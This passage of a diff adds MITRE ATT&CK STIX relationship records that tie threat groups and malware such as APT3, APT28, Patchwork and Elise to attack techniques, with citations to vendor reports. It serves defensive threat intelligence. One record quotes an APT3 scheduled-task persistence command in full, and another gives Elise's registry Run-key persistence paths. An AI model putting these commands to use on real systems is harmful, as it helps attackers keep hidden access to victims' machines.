"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e3425903-a09d-44e2-b033-daadc8208ff5", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Phishery Aug 2018", + "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-04-22T19:23:13.461Z", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used TCP port 80 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ed35fc6-ea81-4669-9fd3-997422febe09", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "modified": "2019-04-25T11:39:52.056Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) likely obtained a list of hosts in the victim environment.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--61e11940-0a88-48c8-8532-e57b5bb6bdb6", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.453Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has downloaded additional code and files from servers onto victims.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47f521b8-37e4-489d-b6eb-25f35de80aae", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.389Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e596415-354e-4ccc-bc9d-3deb3fe5de1e", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2019-07-08T14:33:15.868Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-24T19:41:25.865Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:57:37.435Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc79f30d-94c8-400e-ab10-21d2a2527788", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to take screenshots from victims.", + "type": "relationship", + "created": "2017-05-31T21:33:27.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:35.660Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim PC name and operating system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4caf9f0d-dfe9-48ce-9b6e-812577e09711", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has leveraged a zero-day vulnerability to escalate privileges.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d4737ca-bd18-4628-b453-9aed3f555c13", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2019-05-10T12:14:32.059Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) uses malicious documents to deliver remote execution exploits as part of. The group has previously exploited CVE-2017-8570, CVE-2012-1856, CVE-2014-4114, CVE-2017-0199, and CVE-2015-1641.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74316a28-d1a6-40b8-8c49-836f06e90e02", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "Securelist Dropping Elephant", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + }, + { + "source_name": "Symantec Patchwork", + "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-07-11T13:53:05.661Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.491Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--50cc59f8-6d62-4140-b5c6-40da528a5e13", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) can encrypt C2 data with a custom technique using MD5, base64-encoding, and RC4.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6586cae6-bf7a-4b1d-ab5c-53106d1db5c4", + "external_references": [ + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "JPCERT ChChes Feb 2017", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-30T18:05:32.902Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--89c6bcd7-e330-4902-8296-0918923d6573", + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:59:27.070Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used [Forfiles](https://attack.mitre.org/software/S0193) to locate PDF, Excel, and Word documents during. The group also searched a compromised DCCC computer for specific terms.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db", + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:35.734Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used HTTPS and DNS tunneling for C2. The group has also used the Plink utility to create SSH tunnels.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b398ed8d-5801-4cf0-bea2-c8b62c568bcd", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.388Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader creates persistence by creating the following scheduled task: schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON /ru \"System\".", + "type": "relationship", + "created": "2017-05-31T21:33:27.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.254Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If establishing persistence by installation as a new service fails, one variant of [Elise](https://attack.mitre.org/software/S0081) establishes persistence for the created .exe file by setting the following Registry key: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost : %APPDATA%\\Microsoft\\Network\\svchost.exe. Other variants have set the following Registry keys for persistence: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\imejp : [self] and HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\IAStorD.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "modified": "2019-04-17T22:12:24.732Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has interacted with compromised systems to browse and copy files through its graphical user interface in [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) sessions.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa6f1136-5ead-4d9d-8c0d-bac9176ef591", + "external_references": [ + { + "source_name": "Twitter Cglyer Status Update APT3 eml", + "description": "Glyer, C. (2018, April 14). @cglyer Status Update. Retrieved October 11, 2018.", + "url": "https://twitter.com/cglyer/status/985311489782374400" + } + ], + "modified": "2019-04-29T18:01:20.264Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that looks for files and directories on the local file system.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8b248fe-a27c-40fd-83d5-f4382035d656", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "modified": "2019-04-29T18:01:20.276Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.550Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59223275-a57b-45ca-94b6-5c504165d8f9", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) uses XOR with random keys for its communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d573c29-a5c9-4c28-b091-ca22c24abd5c", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can inject content into lsass.exe to load a module.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72810e5a-0394-4acc-8c3d-3360df2679ee", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can download additional encrypted backdoors onto the victim via GIF files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c", + "external_references": [ + { + "source_name": "Securelist MiniDuke Feb 2013", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", + "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) can establish persistence by adding Registry Run keys.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + 